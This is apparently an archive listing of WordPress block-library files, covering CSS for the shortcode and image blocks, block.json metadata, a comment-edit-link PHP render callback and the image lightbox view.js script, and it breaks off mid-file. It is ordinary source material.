pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ [data-type="core/shortcode"] .block-editor-plain-text { max-height: 250px; } [data-type="core/shortcode"].components-placeholder { min-height: 0; } .blocks-shortcode__textarea { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; } @media (prefers-reduced-motion: reduce) { .blocks-shortcode__textarea { transition-duration: 0s; transition-delay: 0s; } } @media (min-width: 600px) { .blocks-shortcode__textarea { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .blocks-shortcode__textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .blocks-shortcode__textarea::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .blocks-shortcode__textarea::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .blocks-shortcode__textarea:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); }blocks/shortcode/editor.min.css000064400000002000147177035020012573 0ustar00[data-type="core/shortcode"] .block-editor-plain-text{max-height:250px}[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal}@media (prefers-reduced-motion:reduce){.blocks-shortcode__textarea{transition-duration:0s;transition-delay:0s}}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px;line-height:normal}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.blocks-shortcode__textarea::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.blocks-shortcode__textarea::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.blocks-shortcode__textarea:-ms-input-placeholder{color:rgba(30,30,30,.62)}blocks/shortcode/block.json000064400000000721147177035020012006 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/shortcode", "title": "Shortcode", "category": "widgets", "description": "Insert additional custom elements with a WordPress shortcode.", "textdomain": "default", "attributes": { "text": { "type": "string", "source": "html" } }, "supports": { "className": false, "customClassName": false, "html": false }, "editorStyle": "wp-block-shortcode-editor" } blocks/shortcode/editor-rtl.min.css000064400000002000147177035020013372 0ustar00[data-type="core/shortcode"] .block-editor-plain-text{max-height:250px}[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal}@media (prefers-reduced-motion:reduce){.blocks-shortcode__textarea{transition-duration:0s;transition-delay:0s}}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px;line-height:normal}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.blocks-shortcode__textarea::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.blocks-shortcode__textarea::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.blocks-shortcode__textarea:-ms-input-placeholder{color:rgba(30,30,30,.62)}blocks/query-pagination-next/block.json000064400000001535147177035020014270 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/query-pagination-next", "title": "Next Page", "category": "theme", "parent": [ "core/query-pagination" ], "description": "Displays the next posts page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "queryId", "query", "paginationArrow" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/comment-edit-link.php000064400000003004147177035020012055 0ustar00context['commentId'] ) || ! current_user_can( 'edit_comment', $block->context['commentId'] ) ) { return ''; } $edit_comment_link = get_edit_comment_link( $block->context['commentId'] ); $link_atts = ''; if ( ! empty( $attributes['linkTarget'] ) ) { $link_atts .= sprintf( 'target="%s"', esc_attr( $attributes['linkTarget'] ) ); } $classes = ''; if ( isset( $attributes['textAlign'] ) ) { $classes .= 'has-text-align-' . $attributes['textAlign']; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) ); return sprintf( '', $wrapper_attributes, esc_url( $edit_comment_link ), $link_atts, esc_html__( 'Edit' ) ); } /** * Registers the `core/comment-edit-link` block on the server. */ function register_block_core_comment_edit_link() { register_block_type_from_metadata( __DIR__ . '/comment-edit-link', array( 'render_callback' => 'render_block_core_comment_edit_link', ) ); } add_action( 'init', 'register_block_core_comment_edit_link' ); blocks/image/editor-rtl.css000064400000010171147177035020011710 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ figure.wp-block-image:not(.wp-block) { margin: 0; } .wp-block-image { position: relative; } .wp-block-image .is-applying img, .wp-block-image.is-transient img { opacity: 0.3; } .wp-block-image figcaption img { display: inline; } .wp-block-image .components-spinner { position: absolute; top: 50%; right: 50%; margin-top: -9px; margin-right: -9px; } .wp-block-image:not(.is-style-rounded) > div:not(.components-placeholder) { border-radius: inherit; } .wp-block-image .components-resizable-box__container { display: inline-block; } .wp-block-image .components-resizable-box__container img { display: block; width: inherit; height: inherit; } .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { position: absolute; right: 0; left: 0; margin: -1px 0; } @media (min-width: 600px) { .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { margin: -1px; } } [data-align=wide] > .wp-block-image img, [data-align=full] > .wp-block-image img { height: auto; width: 100%; } .wp-block[data-align=left] > .wp-block-image, .wp-block[data-align=center] > .wp-block-image, .wp-block[data-align=right] > .wp-block-image { display: table; } .wp-block[data-align=left] > .wp-block-image > figcaption, .wp-block[data-align=center] > .wp-block-image > figcaption, .wp-block[data-align=right] > .wp-block-image > figcaption { display: table-caption; caption-side: bottom; } .wp-block[data-align=left] > .wp-block-image { margin-left: 1em; margin-right: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=right] > .wp-block-image { margin-right: 1em; margin-left: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=center] > .wp-block-image { margin-right: auto; margin-left: auto; text-align: center; } .wp-block-image__crop-area { position: relative; max-width: 100%; width: 100%; } .wp-block-image__crop-icon { padding: 0 8px; min-width: 48px; display: flex; justify-content: center; align-items: center; } .wp-block-image__crop-icon svg { fill: currentColor; } .wp-block-image__zoom .components-popover__content { overflow: visible; min-width: 260px; } .wp-block-image__zoom .components-range-control { flex: 1; } .wp-block-image__zoom .components-base-control__field { display: flex; margin-bottom: 0; flex-direction: column; align-items: flex-start; } .wp-block-image__aspect-ratio { height: 46px; margin-bottom: -8px; display: flex; align-items: center; } .wp-block-image__aspect-ratio .components-button { width: 36px; padding-right: 0; padding-left: 0; }blocks/image/style.min.css000064400000003417147177035020011552 0ustar00.wp-block-image{margin:0 0 1em}.wp-block-image img{height:auto;max-width:100%;vertical-align:bottom}.wp-block-image:not(.is-style-rounded)>a,.wp-block-image:not(.is-style-rounded) img{border-radius:inherit}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image.aligncenter,.wp-block-image .aligncenter,.wp-block-image.alignleft,.wp-block-image .alignleft,.wp-block-image.alignright,.wp-block-image .alignright{display:table}.wp-block-image.aligncenter>figcaption,.wp-block-image .aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image.alignright>figcaption,.wp-block-image .alignright>figcaption{display:table-caption;caption-side:bottom}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{-webkit-mask-image:url('data:image/svg+xml;utf8,');mask-image:url('data:image/svg+xml;utf8,');mask-mode:alpha;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;-webkit-mask-position:center;mask-position:center;border-radius:0}}.wp-block-image figure{margin:0}blocks/image/editor.css000064400000010167147177035020011116 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ figure.wp-block-image:not(.wp-block) { margin: 0; } .wp-block-image { position: relative; } .wp-block-image .is-applying img, .wp-block-image.is-transient img { opacity: 0.3; } .wp-block-image figcaption img { display: inline; } .wp-block-image .components-spinner { position: absolute; top: 50%; left: 50%; margin-top: -9px; margin-left: -9px; } .wp-block-image:not(.is-style-rounded) > div:not(.components-placeholder) { border-radius: inherit; } .wp-block-image .components-resizable-box__container { display: inline-block; } .wp-block-image .components-resizable-box__container img { display: block; width: inherit; height: inherit; } .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { position: absolute; left: 0; right: 0; margin: -1px 0; } @media (min-width: 600px) { .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { margin: -1px; } } [data-align=wide] > .wp-block-image img, [data-align=full] > .wp-block-image img { height: auto; width: 100%; } .wp-block[data-align=left] > .wp-block-image, .wp-block[data-align=center] > .wp-block-image, .wp-block[data-align=right] > .wp-block-image { display: table; } .wp-block[data-align=left] > .wp-block-image > figcaption, .wp-block[data-align=center] > .wp-block-image > figcaption, .wp-block[data-align=right] > .wp-block-image > figcaption { display: table-caption; caption-side: bottom; } .wp-block[data-align=left] > .wp-block-image { margin-right: 1em; margin-left: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=right] > .wp-block-image { margin-left: 1em; margin-right: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=center] > .wp-block-image { margin-left: auto; margin-right: auto; text-align: center; } .wp-block-image__crop-area { position: relative; max-width: 100%; width: 100%; } .wp-block-image__crop-icon { padding: 0 8px; min-width: 48px; display: flex; justify-content: center; align-items: center; } .wp-block-image__crop-icon svg { fill: currentColor; } .wp-block-image__zoom .components-popover__content { overflow: visible; min-width: 260px; } .wp-block-image__zoom .components-range-control { flex: 1; } .wp-block-image__zoom .components-base-control__field { display: flex; margin-bottom: 0; flex-direction: column; align-items: flex-start; } .wp-block-image__aspect-ratio { height: 46px; margin-bottom: -8px; display: flex; align-items: center; } .wp-block-image__aspect-ratio .components-button { width: 36px; padding-left: 0; padding-right: 0; }blocks/image/style-rtl.css000064400000007243147177035020011570 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-image { margin: 0 0 1em 0; } .wp-block-image img { height: auto; max-width: 100%; vertical-align: bottom; } .wp-block-image:not(.is-style-rounded) > a, .wp-block-image:not(.is-style-rounded) img { border-radius: inherit; } .wp-block-image.aligncenter { text-align: center; } .wp-block-image.alignfull img, .wp-block-image.alignwide img { height: auto; width: 100%; } .wp-block-image.alignleft, .wp-block-image.alignright, .wp-block-image.aligncenter, .wp-block-image .alignleft, .wp-block-image .alignright, .wp-block-image .aligncenter { display: table; } .wp-block-image.alignleft > figcaption, .wp-block-image.alignright > figcaption, .wp-block-image.aligncenter > figcaption, .wp-block-image .alignleft > figcaption, .wp-block-image .alignright > figcaption, .wp-block-image .aligncenter > figcaption { display: table-caption; caption-side: bottom; } .wp-block-image .alignleft { float: left; margin-left: 0; margin-left: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .alignright { float: right; margin-right: 0; margin-right: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .aligncenter { margin-right: auto; margin-left: auto; } .wp-block-image figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-image.is-style-rounded img, .wp-block-image .is-style-rounded img { border-radius: 9999px; } .wp-block-image.is-style-circle-mask img { border-radius: 9999px; } @supports ((-webkit-mask-image: none) or (mask-image: none)) or (-webkit-mask-image: none) { .wp-block-image.is-style-circle-mask img { /* stylelint-disable */ -webkit-mask-image: url('data:image/svg+xml;utf8,'); mask-image: url('data:image/svg+xml;utf8,'); /* stylelint-enable */ mask-mode: alpha; -webkit-mask-repeat: no-repeat; mask-repeat: no-repeat; -webkit-mask-size: contain; mask-size: contain; -webkit-mask-position: center; mask-position: center; border-radius: 0; } } .wp-block-image figure { margin: 0; }blocks/image/editor.min.css000064400000004335147177035020011700 0ustar00figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{position:absolute;top:50%;left:50%;margin-top:-9px;margin-left:-9px}.wp-block-image:not(.is-style-rounded)>div:not(.components-placeholder){border-radius:inherit}.wp-block-image .components-resizable-box__container{display:inline-block}.wp-block-image .components-resizable-box__container img{display:block;width:inherit;height:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{position:absolute;left:0;right:0;margin:-1px 0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{display:table-caption;caption-side:bottom}.wp-block[data-align=left]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=right]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block-image__crop-area{position:relative;max-width:100%;width:100%}.wp-block-image__crop-icon{padding:0 8px;min-width:48px;display:flex;justify-content:center;align-items:center}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{overflow:visible;min-width:260px}.wp-block-image__zoom .components-range-control{flex:1}.wp-block-image__zoom .components-base-control__field{display:flex;margin-bottom:0;flex-direction:column;align-items:flex-start}.wp-block-image__aspect-ratio{height:46px;margin-bottom:-8px;display:flex;align-items:center}.wp-block-image__aspect-ratio .components-button{width:36px;padding-left:0;padding-right:0}blocks/image/theme-rtl.min.css000064400000000213147177035020012302 0ustar00.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:hsla(0,0%,100%,.65)}blocks/image/block.json000064400000003641147177035020011102 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/image", "title": "Image", "category": "media", "usesContext": [ "allowResize", "imageCrop", "fixedHeight" ], "description": "Insert an image to make a visual statement.", "keywords": [ "img", "photo", "picture" ], "textdomain": "default", "attributes": { "align": { "type": "string" }, "url": { "type": "string", "source": "attribute", "selector": "img", "attribute": "src" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "" }, "caption": { "type": "string", "source": "html", "selector": "figcaption" }, "title": { "type": "string", "source": "attribute", "selector": "img", "attribute": "title" }, "href": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "href" }, "rel": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "rel" }, "linkClass": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "class" }, "id": { "type": "number" }, "width": { "type": "number" }, "height": { "type": "number" }, "sizeSlug": { "type": "string" }, "linkDestination": { "type": "string" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "target" } }, "supports": { "anchor": true, "color": { "__experimentalDuotone": "img", "text": false, "background": false }, "__experimentalBorder": { "radius": true, "__experimentalDefaultControls": { "radius": true } } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "rounded", "label": "Rounded" } ], "editorStyle": "wp-block-image-editor", "style": "wp-block-image" } blocks/image/style-rtl.min.css000064400000003510147177035020012343 0ustar00.wp-block-image{margin:0 0 1em}.wp-block-image img{height:auto;max-width:100%;vertical-align:bottom}.wp-block-image:not(.is-style-rounded)>a,.wp-block-image:not(.is-style-rounded) img{border-radius:inherit}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image.aligncenter,.wp-block-image .aligncenter,.wp-block-image.alignleft,.wp-block-image .alignleft,.wp-block-image.alignright,.wp-block-image .alignright{display:table}.wp-block-image.aligncenter>figcaption,.wp-block-image .aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image.alignright>figcaption,.wp-block-image .alignright>figcaption{display:table-caption;caption-side:bottom}.wp-block-image .alignleft{float:left;margin-left:1em;margin-top:.5em;margin-bottom:.5em}.wp-block-image .alignright{float:right;margin-right:1em;margin-top:.5em;margin-bottom:.5em}.wp-block-image .aligncenter{margin-right:auto;margin-left:auto}.wp-block-image figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{-webkit-mask-image:url('data:image/svg+xml;utf8,');mask-image:url('data:image/svg+xml;utf8,');mask-mode:alpha;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;-webkit-mask-position:center;mask-position:center;border-radius:0}}.wp-block-image figure{margin:0}blocks/image/view.asset.php000064400000000124147177035020011707 0ustar00 array(), 'version' => '7500eb032759d407a71d'); blocks/image/editor-rtl.min.css000064400000004337147177035020012501 0ustar00figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{position:absolute;top:50%;right:50%;margin-top:-9px;margin-right:-9px}.wp-block-image:not(.is-style-rounded)>div:not(.components-placeholder){border-radius:inherit}.wp-block-image .components-resizable-box__container{display:inline-block}.wp-block-image .components-resizable-box__container img{display:block;width:inherit;height:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{position:absolute;right:0;left:0;margin:-1px 0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{display:table-caption;caption-side:bottom}.wp-block[data-align=left]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=right]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=center]>.wp-block-image{margin-right:auto;margin-left:auto;text-align:center}.wp-block-image__crop-area{position:relative;max-width:100%;width:100%}.wp-block-image__crop-icon{padding:0 8px;min-width:48px;display:flex;justify-content:center;align-items:center}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{overflow:visible;min-width:260px}.wp-block-image__zoom .components-range-control{flex:1}.wp-block-image__zoom .components-base-control__field{display:flex;margin-bottom:0;flex-direction:column;align-items:flex-start}.wp-block-image__aspect-ratio{height:46px;margin-bottom:-8px;display:flex;align-items:center}.wp-block-image__aspect-ratio .components-button{width:36px;padding-right:0;padding-left:0}blocks/image/view.js000064400000043201147177035020010421 0ustar00import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; ;// CONCATENATED MODULE: external "@wordpress/interactivity" var x = (y) => { var x = {}; __webpack_require__.d(x, y); return x } var y = (x) => (() => (x)) const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) }); ;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/image/view.js /** * WordPress dependencies */ /** * Tracks whether user is touching screen; used to differentiate behavior for * touch and mouse input. * * @type {boolean} */ let isTouching = false; /** * Tracks the last time the screen was touched; used to differentiate behavior * for touch and mouse input. * * @type {number} */ let lastTouchTime = 0; const { state, actions, callbacks } = (0,interactivity_namespaceObject.store)('core/image', { state: { currentImageId: null, get currentImage() { return state.metadata[state.currentImageId]; }, get overlayOpened() { return state.currentImageId !== null; }, get roleAttribute() { return state.overlayOpened ? 'dialog' : null; }, get ariaModal() { return state.overlayOpened ? 'true' : null; }, get enlargedSrc() { return state.currentImage.uploadedSrc || 'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs='; }, get figureStyles() { return state.overlayOpened && `${state.currentImage.figureStyles?.replace(/margin[^;]*;?/g, '')};`; }, get imgStyles() { return state.overlayOpened && `${state.currentImage.imgStyles?.replace(/;$/, '')}; object-fit:cover;`; }, get imageButtonRight() { const { imageId } = (0,interactivity_namespaceObject.getContext)(); return state.metadata[imageId].imageButtonRight; }, get imageButtonTop() { const { imageId } = (0,interactivity_namespaceObject.getContext)(); return state.metadata[imageId].imageButtonTop; }, get isContentHidden() { const ctx = (0,interactivity_namespaceObject.getContext)(); return state.overlayEnabled && state.currentImageId === ctx.imageId; }, get isContentVisible() { const ctx = (0,interactivity_namespaceObject.getContext)(); return !state.overlayEnabled && state.currentImageId === ctx.imageId; } }, actions: { showLightbox() { const { imageId } = (0,interactivity_namespaceObject.getContext)(); // Bails out if the image has not loaded yet. if (!state.metadata[imageId].imageRef?.complete) { return; } // Stores the positions of the scroll to fix it until the overlay is // closed. state.scrollTopReset = document.documentElement.scrollTop; state.scrollLeftReset = document.documentElement.scrollLeft; // Sets the current expanded image in the state and enables the overlay. state.overlayEnabled = true; state.currentImageId = imageId; // Computes the styles of the overlay for the animation. callbacks.setOverlayStyles(); }, hideLightbox() { if (state.overlayEnabled) { // Starts the overlay closing animation. The showClosingAnimation // class is used to avoid showing it on page load. state.showClosingAnimation = true; state.overlayEnabled = false; // Waits until the close animation has completed before allowing a // user to scroll again. The duration of this animation is defined in // the `styles.scss` file, but in any case we should wait a few // milliseconds longer than the duration, otherwise a user may scroll // too soon and cause the animation to look sloppy. setTimeout(function () { // Delays before changing the focus. Otherwise the focus ring will // appear on Firefox before the image has finished animating, which // looks broken. state.currentImage.buttonRef.focus({ preventScroll: true }); // Resets the current image id to mark the overlay as closed. state.currentImageId = null; }, 450); } }, handleKeydown(event) { if (state.overlayEnabled) { // Focuses the close button when the user presses the tab key. if (event.key === 'Tab') { event.preventDefault(); const { ref } = (0,interactivity_namespaceObject.getElement)(); ref.querySelector('button').focus(); } // Closes the lightbox when the user presses the escape key. if (event.key === 'Escape') { actions.hideLightbox(); } } }, handleTouchMove(event) { // On mobile devices, prevents triggering the scroll event because // otherwise the page jumps around when it resets the scroll position. // This also means that closing the lightbox requires that a user // perform a simple tap. This may be changed in the future if there is a // better alternative to override or reset the scroll position during // swipe actions. if (state.overlayEnabled) { event.preventDefault(); } }, handleTouchStart() { isTouching = true; }, handleTouchEnd() { // Waits a few milliseconds before resetting to ensure that pinch to // zoom works consistently on mobile devices when the lightbox is open. lastTouchTime = Date.now(); isTouching = false; }, handleScroll() { // Prevents scrolling behaviors that trigger content shift while the // lightbox is open. It would be better to accomplish through CSS alone, // but using overflow: hidden is currently the only way to do so and // that causes a layout to shift and prevents the zoom animation from // working in some cases because it's not possible to account for the // layout shift when doing the animation calculations. Instead, it uses // JavaScript to prevent and reset the scrolling behavior. if (state.overlayOpened) { // Avoids overriding the scroll behavior on mobile devices because // doing so breaks the pinch to zoom functionality, and users should // be able to 